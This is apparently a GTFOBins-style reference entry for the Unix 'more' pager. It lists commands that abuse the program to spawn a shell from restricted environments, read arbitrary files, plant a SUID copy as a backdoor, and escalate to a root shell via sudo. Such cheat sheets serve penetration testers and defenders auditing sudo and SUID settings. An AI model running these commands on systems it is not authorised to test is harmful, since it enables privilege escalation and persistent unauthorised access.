.. / more

Star

• Shell
• File read
• SUID
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• TERM= more /etc/profile
  !/bin/sh

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• more file_to_read

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which more) .; chmod +s ./more'
  
  ./more file_to_read

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• TERM= sudo -E more /etc/profile
  !/bin/sh